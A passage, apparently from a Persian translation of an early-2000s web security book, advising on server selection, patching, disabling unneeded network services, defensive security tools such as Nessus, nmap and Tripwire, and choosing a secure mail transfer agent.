امروزه برای سازمانها گزینه‌های زیادی برای انتخاب شرکتهای نصب‌کننده سرویس‌دهنده‌های مبتنی بر اطلاعات وجود دارد. آیا رایانهٔ شما باید از سیستم‌عامل Windows استفاده کند یا Mac OS، Unix، و یا یک سیستم‌عامل آزاد شبیه Unix؟ آیا این رایانه باید یک ریزپردازندهٔ سازگار با Intel را بکار ببرد یا ریزپردازنده‌هایSPARC، Power PC، و یا انواع دیگر؟ آیا رایانهٔ مورد نظر باید با خدمات پس از فروش خریداری شود یا بدون آن؟ چه سطحی از خدمات پس از فروش برای کار شما مناسب است؟

بسیاری از تصمیمات خرید بر اساس عواملی چون هزینهٔ سیستم، اعتبار فروشنده و تجربهٔ شخصی که خرید را انجام می‌دهد اتخاذ می‌شوند و تعداد کمی از سازمانها خرید خود را بر اساس سطح امنیت سیستمِ مورد نظر تنظیم می‌کنند.

بعضی از فروشندگان و برخی از بسترها ذاتاً امنیت بیشتری نسبت به مابقی دارند، چراکه تولیدکنندگان مختلف، برای کیفیت برنامه و امنیت آن ارزشهای متفاوتی قائل هستند؛ اما اندازهٔ سازمان مشتری هم بر امنیت سیستم تأثیرگذار است؛ چراکه اگر تعداد زیادی از رقبای سرمایه‌دار، یافته‌های خود را برای عموم منتشر کنند، سیستمهایی که تا حدودی ایمن هستند نیز ممکن است ناامن شوند.

یکی از بزرگترین تهدیدات علیه امنیت سیستم، وجود اشکالات نرم‌افزاری است؛ که می‌تواند باعث توقف کار سیستم شود، اطلاعات را تخریب کند، یا از همه بدتر، افراد خارجی را قادر کند که به اطلاعات دسترسی غیر مجاز داشته باشند. بد نیست بدانید که درصد بسیار زیادی از سازمانها، برای عملیات بسیار حیاتی خود همچنان از نسخه‌های آزمایشی نرم‌افزارها یا حتی نسخه‌های پیشتر از آن استفاده می‌کنند!

از آنجا که بسیاری از پایگاههای وب، روی رایانه‌هایی با یک ریزپردازندهٔ سازگار با Intel و با سیستم‌عاملی از نسل Windows NT اجرا می‌شوند، مهاجمان انگیزهٔ بسیار زیادی برای یافتن آسیب‌پذیری در این پیکربندی پیدا کرده‌اند.[۱۹۶] به همین دلیل برخی سازمانها تصمیم گرفته‌اند که از پیکربندیهای غیرمرسوم – مثل Open BSD روی رایانه‌های Solaris SPARC – استفاده کنند، تنها به این علت که مهاجمان بسیار کمتری تجربهٔ کار با این سیستمها را دارند. بعنوان مثال اگر اولین نگرانی شما در راه‌اندازی یک سرویس‌دهندهٔ وب مسائل مبتلابه امنیتی است، می‌توانید سرویس‌دهندهٔ وب خود را روی یک رایانهٔ Macintosh با سیستم‌عامل OS 7، OS 8، و یا OS 9 راه‌اندازی کنید. از آنجا که این نسخه‌های سیستم‌عامل Macintosh با برنامهٔ *مفسر خط فرمان*[۱۹۷] در بازار توزیع نشده‌اند، برای مهاجمان بسیار سخت خواهد بود که بتوانند به سیستم نفوذ کنند و به انتخاب خود به

۱۹۶ *دلایل دیگری نیز برای تبدیل‌شدن محصولات مایکروسافت به یک هدف جذاب برای مهاجمان وجود داشته است، مثل تعداد زیاد آسیب‌پذیریهای کشف‌نشده، پیچیدگی نرم‌افزار که باعث می‌شود ایمن کردن آن برای راهبران دشوار باشد، و نیز این واقعیت ساده که افراد زیادی از مایکروسافت خوششان نمی‌آید.*

197 Command-Line Interpreter

اجرای برنامه‌های سیستم بپردازند. بعلاوه این سیستم‌عاملها دهها سرویس شبکه‌ای ندارند که بتوان هریک از آنها را مورد سوء استفاده قرار داد. علاوه بر اینها بطور کلی نیز شرکت Apple سابقهٔ خوبی در ارائه نرم‌افزارهای دقیق و بدون اشکال دارد.

هرچند سیستم‌عاملی که مورد استفاده قرار می‌گیرد بسیار مهم است، اما برنامه‌های کاربردی و نرم‌افزارهای اختصاصی که برای استفاده روی آن قرار می‌گیرند نیز به همان اندازه مهم هستند. یک قطعه‌برنامهٔ ساده که برای افزایش قابلیت سیستم نوشته‌شده می‌تواند یک سیستم ایمن را آسیب‌پذیر کند.

برخی از مراحلی که باید پیش از طراحی و پیاده‌سازی سیستم جدید دنبال شوند به شرح زیر هستند:

- تحقیق کنید و ببینید کدام فروشندگان به تولید نرم‌افزارهای بدون اشکال و خوب مستندسازی‌شده معروف هستند. ببینید معیارهای مشخصی که فروشنده برای تأمین سطح بالای امنیتی بکار می‌برد – مثل تجهیزات و متخصصین امنیتی، تحلیل جریان داده‌ها، ممیزی‌های متن برنامه و یا آزمون نفوذ – کدامند. از فروشنده بخواهید یک نسخه از معیارها و اقدامات خود را برای بررسی در اختیار شما قرار دهد. همچنین باید به روالهای قبلی آن فروشنده برای کشف و گزارش اشکالات امنیتی در نرم‌افزارهایش توجه کنید. یک منبع مناسب برای این منظور را می‌توان در آدرس *http://www.securityfocus.com* پیدا کرد. (بدلیل تکامل روشهای پذیرفته‌شده در کشف و گزارش نقایص، پیشنهاد می‌شود از اطلاعاتی که مربوط به قبل از سال ۱۹۹۷ هستند در ارزیابی خود استفاده نکنید؛ چراکه ممکن است چندان قابل استناد نباشند.)
- بررسی کنید و ببینید که فروشندگان نسبت به گزارش مشکلات مربوط به امنیت و یا کارآیی محصولاتشان چگونه واکنش نشان می‌دهند. آیا فروشندهٔ مورد نظر به چنین گزارشاتی اهمیت می‌دهد؟ بعنوان مثال برخی فروشندگان اعتراضات کاربران را نادیده می‌گیرند، مگر آنکه انعکاس مطبوعاتی آن بسیار نامطلوب باشد.
- ببینید فروشندهٔ مورد نظر به طراحی مناسب با معیارهایی چون امنیت، قابلیت اطمینان، و واسطهای کاربری مناسب چقدر اهمیت می‌دهد. سیستمهای مقاوم در برابر حملات و اشتباهات کاربر، برای کاربرد در شرایط حساس مناسبتر هستند.
- مشخص کنید که آیا بهتر است سازمان شما از نرم‌افزارهای قدیمی که مشکلات آنها تقریباً مشخص هستند استفاده کند، یا آخرین نرم‌افزارهای بازار که قابلیتهای جدیدتری در آنها عرضه می‌شود را بکار برد.
- سیستمی انتخاب کنید که با کمترین قابلیتها، تمام کارهایی که شما می‌خواهید را به نحو احسن انجام دهد. سخت‌افزار نسبتاً ارزان است؛ ممکن است خرید یک سیستم مجزا برای اختصاص دادن به یک پیکربندی حداقلی سرویس‌دهندهٔ وب، نسبت به استفاده از یک سیستم مشابه سیستمهای استاندارد سازمان برای این منظور – که ممکن است منجر به بروز نقصهای انبوه شود – گزینهٔ بهتری باشد.

در اینجا به برخی مواردی که برای خرید نرم‌افزار و سیستمها لازم هستند اشاره می‌شود:

- اطمینان از پیاده‌سازی صحیح الگوهای موفق مهندسی نرم‌افزار در طراحی، برنامه‌نویسی، و آزمایش نرم‌افزار.
- مستنداتی که نتایج آزمایش نرم‌افزار در محیطهای مشابه سازمان شما را نشان دهند. در حالت ایده‌آل، این آزمایش باید هم شامل آزمون عملکرد و هم شامل آزمون کارآیی در شرایط بحرانی باشد.
- یک گزارش مکتوب از سیاست فروشنده برای پذیرش، مستند کردن، و واکنش به گزارشات دریافتی از اشکالات محصول.
- یک گزارش مکتوب از خط‌مشی فروشنده در اعلام اشکالات جدید امنیتی به مشتریان و فرآیند رفع آنها. (مسئولیت‌پذیرترین فروشندگان اینکار را از طریق تیمهای FIRST و فهرستهای پستی مشتریان انجام می‌دهند، و فروشندگانی که احساس مسئولیت کمتری می‌کنند هیچگاه اشکالات و فرآیندهای رفع آنها را اطلاع نمی‌دهد و یا در کنار اشکالات اعلام‌شدهٔ سایر برنامه‌ها، اشکالات را در مکانهای مبهم و غیرقابل اطمینان پنهان می‌کنند.)
- نمونه‌هایی از اطلاعیه‌های پیشین و اشکالات رفع‌شده.

اگرچه صنعت رایانه مدت اندکی است که موضوع امنیت را جدی می‌گیرد، اما هیچ فروشنده‌ای – حتی فروشندگان محصولات امنیتی هم – نرم‌افزار خود را در برابر آسیبهای ناشی از برنامه‌های آسیب‌پذیر بیمه نمی‌کنند. درحال حاضر تنها تعداد اندکی از شرکتهای بیمه، سیاستهایی برای تنظیم بیمه‌نامه‌هایی در قبال خطرات ناشی از آسیب‌پذیریها و تغییرات ناخواستهٔ پایگاههای وب تدوین کرده‌اند. شما باید این سیاستها را مورد بررسی قرار دهید تا متوجه شوید برای سیستمهای متفاوت، چه بیمه‌نامه‌هایی وجود دارد. هرچه زمان بیشتری بگذرد، بیمه‌نامه‌ها برای کارآتر بودن در پیکربندیهایی که منجر به مخاطرات کمتری می‌شوند تکامل می‌یابند (و لذا مشتریان برای استفاده از خدمات مختلف آنان حق بیمهٔ کمتری پرداخت خواهند کرد).[۱۹۸]

تهیه و پشتیبانی نرم‌افزار

زمانیکه فروشنده، بستر سخت‌افزاری، و نرم‌افزار مورد نظر خود را انتخاب کردید، باید همه چیز را نصب و تنظیم کنید. فرآیند نصب برنامه یک فرآیند بسیار مهم است. گاهی اوقات اشتباهاتی که طی نصب یک برنامه رخ می‌دهند ممکن است زمانی آشکار شوند که سیستم شما برخط شده و یا درحال انجام قسمت سنگین کار یک پروژه است. بنابراین برای فرآیند نصب به اندازهٔ کافی وقت اختصاص دهید و در مورد صحت آن اطمینان حاصل کنید.

راه‌اندازی یک سیستم مشابه سیستم انبارداری

تمام نکات سیستم خود را فهرست کنید. شماره‌های سری، مقدار حافظه، انواع پردازشگرها، کارتهای جانبی و سایر اجزای سخت‌افزاری پیکربندی را به ثبت برسانید. از این اطلاعات حداقل در دو مکان متفاوت نسخه‌برداری نمایید – یک راه ساده برای انجام اینکار این است که فایل اطلاعات را پس از تکمیل، از طریق نامهٔ الکترونیکی به محلی دیگر – مثلاً منزلتان – منتقل کنید. این اطلاعات زمانی به کار خواهند آمد که بخواهید جنبه‌های مرتبط با کارآیی را اندازه‌گیری نمایید. چنانچه در معرض دزدی و یا آسیب نیز قرار بگیرید، این اطلاعات برای برآوردن نیازهای اطلاعاتی شرکت بیمه نیز بکار خواهند آمد.

نرم‌افزارهای مورد استفاده را نیز باید فهرست کنید. برای هر نرم‌افزار، مواردی چون تولیدکننده، نسخهٔ مورد استفاده، و تاریخ انتشار را ثبت نمایید. اگر نرم‌افزاری دارید که با کدهای فعال‌کننده همراه است، ثبت این کدها نیز مفید خواهد بود. با این وجود اگر کدهای فعال‌کننده را ثبت کنید، باید از ایمن بودن آن مطمئن شوید؛ چراکه انتشار خواسته یا ناخواستهٔ کدهای فعال‌کننده ممکن است از نظر برخی فروشندگان بعنوان سرقت نرم‌افزاری تلقی شود.

از کلیهٔ محتویات بستهٔ نرم‌افزار شامل دیسک برنامه، مستندات کار با آن و اطلاعات دیگری که برای کار با رایانه و نرم‌افزار لازم هستند نگهداری کنید. اگر قرار است هر از چندگاه دستگاهها جایگزین شوند و یا نیاز به جابجایی آنها دارید، انجام اینکار بسیار مفید خواهد بود. تعداد شرکتهایی که اطلاعات حیاتی برای کار را تنها روی نسخه‌های چاپیِ به‌ظاهر مطمئن قرار می‌دهند بسیار زیاد است. معمولاً آخرین ثبتهای انجام‌شدهٔ پیش از وقوع یک رخداد، اخطارهای امنیتی هستند. بنابراین به همهٔ برگه‌های ثبتی که بوسیلهٔ نرم‌افزار یا سخت‌افزار دریافت می‌کنید یک نگاه اجمالی بیاندازید تا مطمئن شوید که نکته‌ای از قلم نیافتاده است.

نصب نرم‌افزار و وصله‌های آن

پیش از اینکه نرم‌افزاری را روی رایانه نصب کنید، پایگاه وب فروشندهٔ آنرا بررسی نمایید تا مطمئن شوید کلیهٔ وصله‌های امنیتی و قطعه‌برنامه‌های رفع اشکال آن نسخه از نرم‌افزاری که می‌خواهید نصب کنید را در اختیار دارید. برای این منظور خواندن نکات ویژهٔ سیستم‌عامل و وصله‌های آن نیز توصیه می‌شود. برخی از فروشندگان وصله‌های امنیتی را بصورتی منتشر می‌کنند که باید آنها را به یک روش ویژه نصب کرد و نصب این وصله‌ها به طرق دیگر گاهی اوقات می‌تواند به بروز آسیب‌پذیریهای امنیتی منجر شود.

---

۱۹۸ *در اواخر سال ۲۰۰۱، حداقل یک شرکت بیمه از مشتریانی که از سیستمهایی با بستر Windows NT و Microsoft IIS استفاده می‌کردند، حق بیمهٔ بیشتری دریافت می‌کرد.*

اگر بتوانید باید در ابتدای فرآیند نصب، رایانه را از اینترنت قطع کنید و تا تمام شدن این فرآیند، رایانه را به اینترنت متصل نکنید، اما متأسفانه انجام به‌روزرسانی و نصب وصله‌های امنیتی بدون اتصال به اینترنت روز به روز سخت‌تر می‌شود. موارد زیادی گزارش شده‌اند که در آنها رایانه‌ها پس از نصب سیستم‌عامل و پیش از نصب وصله‌های امنیتی مورد سوء استفاده قرار گرفته‌اند.

وقتی از متصل نبودن رایانه به اینترنت مطمئن شدید، سیستم‌عامل، وصله‌های امنیتی سیستم‌عامل، و سپس برنامه‌های کاربردی و ارتقاهای آنها را نصب کنید. تمام اعمال خود را در دفترچه‌ای که همواره در دسترستان قرار دارد به ثبت برسانید. چنین ثبتهایی خصوصاً زمانی مفید واقع خواهند شد که بخواهید چندین رایانه را نصب و راه‌اندازی کنید و مایل باشید روزی انجام اینکار را به دیگران واگذارید.

پس از انجام همهٔ این کارها و پیش از انجام هر کار دیگر، باید یک نسخهٔ پشتیبان کامل از سیستم رایانه تهیه کنید. اگر پیش از انجام این مرحله، رایانه بوسیلهٔ یک مهاجم مورد تهاجم قرار گرفته باشد، این نسخهٔ پشتیبان تمام ارزش خود را از دست خواهد داد. پس تهیهٔ اولین نسخهٔ پشتیبان می‌توانید هرگونه تنظیمات اختصاصیِ لازم را انجام دهید. پس از این امر باید نسخهٔ پشتیبان دوم را از سیستم رایانه در یک نوار یا دیسک فشردهٔ متفاوت تهیه نمایید.

در پایان مطمئن شوید که نرم‌افزارهای خریداری‌شده و نسخه‌های پشتیبان در محلی امن ذخیره شده‌اند؛ و دسترسی فیزیکی به رایانه محدود شده است. همچنین می‌توانید دیسک‌گردان دیسک فلاپی یا دیسک فشرده را از روی رایانه بردارید تا مهاجمی که در بازهٔ زمانی کوتاهی دسترسی فیزیکی به سرویس‌دهنده دارد، برای سوء استفاده از رایانه با مشکل مواجه شود.

کاهش مخاطره از طریق کاهش خدمات

یک روش مهم برای به حداقل رساندن مخاطرات سرویس‌دهنده، حداقل کردن خدمات دیگری است که بوسیلهٔ رایانه‌ای ارائه می‌شود که سرویس‌دهندهٔ شما است. اگر به سرویسی نیاز ندارید، آنرا غیرفعال کنید. با غیرفعال کردن کلیهٔ خدمات غیرضروری، راههای بالقوهٔ نفوذ مهاجمان به سیستم را از میان برداشته‌اید. برای رعایت دقیقتر این اصل، اگر امکان آن وجود داشته باشد باید خدمات مختلف را میان رایانه‌های متفاوت توزیع کنید: سرویس‌دهنده‌های خدمات نام دامنه، سرویس‌دهنده‌های پست الکترونیکی، سرویس‌دهنده‌های وب، سرویس‌دهنده‌های فایل، و غیره.

باید هر از چندگاه غیرفعال بودن برخی از خدمات مثل finger، netstat، systat و rwho را کنترل کنید، چراکه می‌توانند اطلاعات حساسی به افراد بیرونی ارائه کنند. برخی دیگر مثل chargen و echo ممکن است در حملات تخریب سرویس بکار روند. خدمات شبکه‌ای که رمزهای عبور رمزگذاری‌نشده و قابل استفادهٔ مجدد – مثل telnet و FTP (غیر از *FTP ناشناس*[۱۹۹]) – را انتقال می‌دهند، یا کاربران را از روی آدرس IP تصدیق هویت می‌کنند – مثل rlogin و rsh – بدلیل مسائل امنیتی باید همگی غیرفعال و با برنامه‌های ایمن‌تر مثل ssh یا سیستمهای رمز عبور یکبار مصرف جایگزین شوند.

روی سرویس‌دهندهٔ Unix بسادگی می‌توانید خدمات غیرضروری را با حذف خطوط متناظر در فایل inetd.conf محدود کنید. خدمات دیگری که بصورت daemonهای مجزا به اجرا در می‌آیند (مثلاً portmapper) را می‌توان از فایلهای "rc" که در مسیر /etc/rc و /etc/rc.local و زیرشاخه‌های فرعی /etc/rc.d، /etc/init.d، و /usr/local/etc/rc.d یافت می‌شود حذف کرد. همانطور که پیشتر توضیح داده شد می‌توانید از wrapperهای TCP و دیواره‌های آتش مبتنی بر میزبان برای کنترل دسترسی به خدمات نیز استفاده نمایید.

غیرفعال کردن خدمات IP روی Windows NT یا Windows 2000 کمی دشوارتر است، چون تنظیمات مختلف در سراسر registry توزیع شده‌اند و بعضی از خدمات نیز بدلیل طبیعت Windows NT همواره باید فعال باشند. بسیاری از خدمات NT را می‌توان با استفاده از برنامهٔ کنترل خدمات NT ممیزی کرد یا از کار انداخت. خوشبختانه سرویس‌دهنده‌های NT با قابلیت *فهرست*

199 Anonymous FTP

دسترسی پیش‌ساخته[۲۰۰] همراه هستند. شما می‌توانید از این قابلیت برای مسدود کردن کلیهٔ ترافیک یک یا چند پورت مورد نظر استفاده کنید و به همان نتایجی برسید که با غیرفعال کردن سرویس به آن می‌رسیدید. (برای انجام اینکار می‌توانید در قسمت تنظیمات پیشرفتهٔ TCP/IP در Control Panel، از قابلیت غربال‌سازی IP استفاده کنید.)

روش دیگر برای به حداقل رساندن خدمات، به حداقل رساندن دسترسیها است. سرویس‌دهنده‌هایی که برای کار با آنها لازم نیست از حساب کاربری ابرکاربر یا administrator استفاده کرد، نباید با این حسابهای کاربری مورد استفاده قرار گیرند؛ و درعوض حساب کاربری کاربرانی که به دسترسیهای این حساب کاربری نیاز دارند باید درصورت امکان از این دسترسیها برخوردار گردند. در بسیاری از موارد، هر پردازهٔ سرویس‌دهنده باید با گروه و uid خودش اجرا گردد. اگر بتوان سرویس‌دهنده‌ای را در قسمت کوچکی از سیستم فایل محدود کرد، باید اینکار را انجام داد (با استفاده از فراخوانیهای سیستمی chroot() یا jail()).

آگاه بودن از آخرین اطلاعات مربوط به آسیب‌پذیریهای جدید

امروز شرایط بگونه‌ای است که اگر بخواهید یک رایانهٔ ایمن متصل به اینترنت را راهبری و پشتیبانی نمایید لازم است از جزئیات آسیب‌پذیریهایی که بتازگی کشف شده‌اند مطلع باشید. آسیب‌پذیریها بعد از اینکه کشف می‌شوند، معمولاً با سرعت فوق‌العاده‌ای میان عموم منتشر می‌گردند. علاوه بر این هنگامیکه یک آسیب‌پذیری شناسایی شد، روشها و قطعه‌برنامه‌های بهره‌برداری از آن نیز بسرعت تولید و از طریق اینترنت توزیع می‌شوند. در بسیاری موارد، راهبران سیستم از زمانیکه آسیب‌پذیری برای اولین‌بار انتشار می‌یابد تا زمانیکه مورد حمله قرار می‌گیرند تنها چند ساعت فرصت دارند.

همیشه حداقل یک نگاه گذرا به آخرین بولتنهای منتشره بوسیلهٔ فروشندگان نرم‌افزارهای خود بیاندازید و وصله‌ها و ارتقاهای مرتبط با امنیت را بلافاصله پس از اینکه در دسترس قرار گرفتند نصب کنید. بسیاری از فروشندگان فهرستهای پستی دارند که مخصوص انتشار اطلاعاتی در مورد جنبه‌های امنیتی نرم‌افزارهای آنان می‌باشد. منبع دیگری برای اطلاعات امنیتی، تیمهای FIRST[۲۰۱] هستند؛ مثل *مرکز هماهنگیهای گروه واکنش به رخدادهای رایانه‌ای* (CERT/CC)[۲۰۲] در مؤسسه مهندسی نرم‌افزار دانشگاه کارنی ملون. این مرکز گزارشات جرائم رایانه‌ای را جمع‌آوری می‌کند، به فروشندگان در مورد مسائل امنیتی آگاهی می‌دهد، و از طرف فروشندگان اطلاعاتی در مورد ایمنی نرم‌افزارهایشان منتشر می‌نماید. از آنجا که این مرکز و بسیاری دیگر از مراکز واکنش به رخدادهای رایانه‌ای، اطلاعات را بلافاصله پس از دریافت منتشر نمی‌کنند، توصیه می‌شود بعنوان منبع اصلی اطلاعات امنیتی خود به آنها تکیه نداشته باشید.

بعنوان یک منبع جایگزین می‌توانید در یک یا دو گروه پستی امنیتی – مثل nt-security، bugtraq و firewalls – به عضویت درآیید.

استفاده از ابزارهای امنیتی

ابزار امنیتی برنامهٔ مخصوصی است که از آن برای ارزیابی یا ارتقای امنیت شبکه استفاده می‌شود. بسیاری از ابزارهای امنیتی که امروزه کاربرد دارند، در دانشگاهها و یا بوسیلهٔ متخصصان مستقل تولید و بصورت رایگان از طریق اینترنت توزیع شده‌اند. ابزارهای خوب دیگری نیز وجود دارند که بصورت نرم‌افزارهای تجاری به فروش می‌رسند.

پنج دسته ابزار امنیتی وجود دارند که می‌توانند به کار راهبران امنیت و شبکه بیایند. این پنج دسته عبارتند از:

- ابزارهایی که سیستم را بدنبال نقاط ضعفی پویش می‌کنند که یک کاربر محلی می‌تواند آنها را مورد بهره‌برداری قرار دهد؛

200 *Built-in Access List*

۲۰۱ *انجمن واکنش به رخداد و گروههای امنیتی، کنسرسیوم جهانی گروههای واکنش به رخدادهای رایانه‌ای. برای اطلاعات بیشتر به آدرس* http://www.first.org *مراجعه کنید.*

202 *Computer Emergency Response Team / Coordination Center*

- ابزارهایی که سیستم را در طول زمان بررسی می‌کنند و مراقب تغییرات غیرمجاز هستند؛
- ابزارهایی که شبکه را برای یافتن نقاط ضعف شبکه‌ای پویش می‌کنند؛
- ابزارهایی که سیستم و شبکه را برای شناسایی حملات درحال انجام مورد بررسی قرار می‌دهند؛ و
- ابزارهایی که کلیهٔ فعل و انفعالات شبکه را برای تحلیلهای بعدی ثبت و ضبط می‌نمایند.

استفاده از ابزارهای خودکار (معمولاً) یک روش کم‌هزینه و مؤثر برای نظارت و ارتقای امنیت سیستم است. برخی از این ابزارها توسط مهاجمان مورد سوء استفاده قرار می‌گیرند تا نقاط ضعف را در شبکه‌های اینترنتی برای آنها آشکار کنند. بنابراین شما نیز باید ابزارهای مورد نیاز خود را در دست داشته باشید.

ابزارهای تصویربرداری لحظه‌ای

ابزارهای تصویربرداری لحظه‌ای[۲۰۳] یا ابزارهای ممیزی ایستا سیستم را بدنبال نقاط ضعف پویش می‌کنند و نتایج آنرا در یک گزارش گردآوری می‌نمایند. بعنوان مثال در یک سیستم Unix، ممکن است یکی از ابزارها محتوای فایل /etc/passwd را بررسی کند تا مطمئن شود هیچکس بجز ابرکاربر مجوز ایجاد تغییر در آنرا ندارد. ابزارهای تصویربرداری لحظه‌ای بررسیهای بسیار زیادی (شاید صدها بررسی) را در مدت‌زمانی کوتاه انجام می‌دهند.

یک ابزار جدید تصویربرداری لحظه‌ای در Unix، Tiger نام دارد که در دانشگاه A&M تگزاس تهیه شده است. Tiger روی انواع گسترده‌ای از سیستم‌عاملها اجرا می‌شود و نصب آن طی فرآیندی ساده انجام می‌گیرد. برای این منظور در دنیای Windows چندین بستهٔ نرم‌افزاری وجود دارد؛ مثل برنامهٔ Kane Security Analyst (KSA) از شرکت Intrusion Detection (http://www.intrusion.com) که به بررسی رمزهای عبور و مجوزها (فهرستهای کنترل) می‌پردازد و بر صحت داده‌ها نظارت می‌کند. NAT ابزار رایگانی برای ارزیابی NetBIOS و محرمانگی رمز عبور NT است که توسط شرکت Security Advisors (http://www.secnet.com) بوجود آمده. دو ابزار دیگر برای بررسی رمزهای عبور NT عبارتند از Scan NT تولید *اندی بارون*[۲۰۴] (http://www.ntsecurity.com/Products/ScanNT/index.htm) و L0pht Crack تولید "محققان امنیت رایانه‌ای" در مؤسسه صنایع سنگین L0pht.

ابزارهای تصویربرداری لحظه‌ای باید طبق یک روال منظم به اجرا درآیند – حداقل یکبار در ماه. خروجیهای این برنامه‌ها را بدقت مورد بررسی قرار دهید و درصورت امکان موارد مشکوک را پیگیری کنید. به یاد داشته باشید که این خروجیها را در دسترس دیگران قرار ندهید، چراکه طبق تعریف، همان منافذی هستند که مهاجمان می‌توانند با استفاده از آنها به یک سیستم نفوذ کنند.

برنامه‌های پویشگر شبکه

این ابزارها برنامه‌های شبکه مثل send mail و ftpd را برای یافتن اشکالات متداول امنیتی بررسی می‌کنند. رایانه‌های شما مطمئناً توسط مهاجمان علاقمند به نفوذ به سیستم پویش می‌شوند، بنابراین خود شما نیز می‌توانید این برنامه را به اجرا درآورید. در میان قدرتمندترین ابزارهای رایگان موجود برای سیستم‌عاملهای Unix، می‌توان از Nessus (http://www.nessus.org) نام برد. شرکت SomarSoft (http://www.somarsoft.com) چندین ابزار برای تحلیل اطلاعات جمع‌آوری‌شده در ثبتها و پایگاههای داده Windows NT ارائه کرده است. KSA که پیشتر در مورد آن صحبت کردیم نیز برای بسترهای مبتنی بر Windows NT قابلیتهای تحلیل و بررسی صحت را پدید می‌آورد. یک پویشگر قوی دیگر عبارت است از nmap[۲۰۵] که شبکه را بدنبال پورتهای باز پویش می‌کند، می‌تواند شبکه‌ها را نگاشت نماید، و با توجه به پاسخهای یک رایانه به پویشهای شبکه نوع سیستم‌عامل آنرا حدس بزند.

---

203 Snapshot Tools
204 Andy Baron
205 http://www.insecure.org/nmap

سیستمهای مهاجم‌یاب

سیستمهای مهاجم‌یاب (IDSها)[۲۰۶] در دنیای رایانه‌ها معادل دزدگیرها در زندگی معمولی هستند. همانطور که از نام آنها پیدا است، این ابزارها هنگام کار رایانه، بر آن نظارت می‌کنند و مترصد یافتن نشانه‌هایی مبنی بر تلاش یک مهاجم برای نفوذ هستند.

سیستمهای مهاجم‌یاب می‌توانند مبتنی بر شبکه یا مبتنی بر میزبان باشند. یک سیستم مهاجم‌یاب مبتنی بر میزبان مراقب نفوذ به آن میزبان خاص است. بیشتر این برنامه‌ها به سیستمهای ممیزی امن سیستم‌عامل متکی هستند. سیستمهای مهاجم‌یاب مبتنی بر شبکه، یک شبکه را برای یافتن علائم نفوذ به یک رایانهٔ دیگر کنترل می‌کنند. بیشتر این سیستمها، سیستمهای پیچیدهٔ نظارت بر شبکه هستند که از واسطهای کاربری Eternet بعنوان دیدبان بسته‌ها استفاده می‌کنند. بعنوان یک مثال از سیستمهای مهاجم‌یاب مبتنی بر شبکه می‌توان به snort اشاره کرد.

ویروس‌یابها

بازار بزرگی برای ابزارهای ویروس‌یاب در محیط Windows وجود دارد. هنگام انتخاب نرم‌افزار ضدویروس، نه‌تنها به قابلیتهای محصول، بلکه به نوع پشتیبانی فراهم‌شده برای به‌روزرسانی فهرست ویروسهای قابل شناسایی آن نیز توجه کنید. بسیاری از ویروس‌یابهای تجاری از مدل عضویتی استفاده می‌کنند که طبق آن تا زمانیکه عضویت شما در آن ادامه داشته باشد می‌توانید به‌روزرسانیها را بصورت هفتگی دریافت کنید.

سیستمهای Unix و Linux نیازی به ابزارهای ضدویروس ندارند. برای این بسترها تنها ۳ یا ۴ ویروس گزارش‌شده که قابلیت انتشار چندانی نیز ندارند. در این محیطها یک برنامهٔ نظارت‌کنندهٔ صحت (مثل Tripwire) بدلیل نوع کاری که انجام می‌دهد، کار یک ضدویروس را نیز به انجام می‌رساند. این در حالی است که سیستمهای قدیمی‌تر Mac OS برای مقابله با Macroهای آلوده به ویروس در محصولات Microsoft Office به ابزارهای ضدویروس نیاز دارند.

از طرف دیگر یک سرویس‌دهندهٔ پستی Unix می‌تواند بعنوان یک دروازهٔ ورودی ضدویروس برای حفاظت از سرویس‌گیرنده‌های پستی Windows بکار رود. ضدویروسهای زیادی می‌توانند ویروسهای Windows را شناسایی کنند، و می‌توان تنها به همین منظور آنها را روی دستگاههای Unix به اجرا درآورد.

ابزارهای ثبت و ضبط اطلاعات شبکه

این ابزارها همهٔ ترافیکی که از یک شبکه می‌گذرد را ضبط می‌کنند تا امکان انجام تجزیه و تحلیل آن در آینده وجود داشته باشد. این سیستمها معمولاً روی رایانه‌هایی با دیسکهای بزرگ اجرا می‌شوند. بعنوان مثال یک دیسک سخت ۸۰ گیگابایتی می‌تواند ترافیک حدود دو هفتهٔ یک شبکهٔ معمولی T1 را در خود ذخیره نماید تا درصورت وقوع یک نفوذ یا بروز هر رخداد دیگر، بتوان ترافیک ضبط‌شده را تحت تجزیه و تحلیل قرار داد.

تأمین امنیت سرویس‌دهنده‌های پستی

سرویس‌دهنده‌های پستی معمولاً مهمترین سرویس‌دهنده‌های هر سازمان هستند. زمانیکه این سرویس‌دهنده‌ها از کار می‌افتند، یک مسیر ارتباطی مهم میان مشتریان، فروشندگان، و کارمندان سازمان دچار آسیب می‌شود؛ و زمانیکه مورد سوء استفاده قرار می‌گیرند اطلاعات خصوصی و محرمانه بسرعت افشا می‌شود. اگرچه ملاحظات کلی امنیتی را تا حدودی برای سرویس‌دهنده‌های پستی نیز می‌توان بکار برد، اما برخی ملاحظات خاص نیز برای این سرویس‌دهنده‌ها وجود دارد.

انتخاب یک عامل انتقال پستی

عامل انتقال پستی (MTA)[۲۰۷] نرم‌افزاری است که مسئولیت دریافت و تخصیص پیامهای الکترونیکی را بر عهده دارد. این نرم‌افزار در یک طرف با عاملهای کاربران پستی (که به عامل انتقال پست الکترونیکی اتصال دارد) متصل است، و در طرف دیگر با عوامل حمل پستی (که عملیات نهایی حمل پیام الکترونیکی به مقصد را بر عهده دارند) ارتباط برقرار می‌کند. نرم‌افزار MTA باید بدرستی پیکربندی شود تا بتواند پیامها را تنها از کاربران واقعی و نه دیگران بپذیرد.

برای سرویس‌دهنده‌های پستی مبتنی بر Unix، نرم‌افزارهای پیشروی MTA عبارتند از sendmail، postfix، qmail، و exim، که قدیمی‌ترین، شناخته‌شده‌ترین، و پرکاربردترین آنها sendmail است؛ و البته باید گفت که بیشترین رخدادهای ثبت‌شدهٔ امنیتی نیز مربوط به همین نرم‌افزار می‌شود، چراکه sendmail زمانی طراحی شد که شبکهٔ اینترنت هنوز بسیار جوان بود و در آن زمان کارآیی اهمیت بیشتری از امنیت داشت. این درحالی است که postfix، qmail، و exim از ابتدا با مد نظر قرار دادن امنیت طراحی شدند. اگر بخواهید سرویس‌دهنده‌های پستی شما ایمن باشند، بهتر است نرم‌افزاری غیر از sendmail را بعنوان MTA برگزینید، و اگر مجبور به استفاده از sendmail هستید، مستندات جانبی آن بعلاوهٔ کتاب Sendmail انتشارات اوریلی و شرکا را بدقت مطالعه کنید و به پیکربندی صحیح آن توجه ویژه نمایید. نرم‌افزارهای postfix و exim هردو قابلیت این را دارند که بدون آثار جانبی چندان زیادی جایگزین سیستمهای درحال 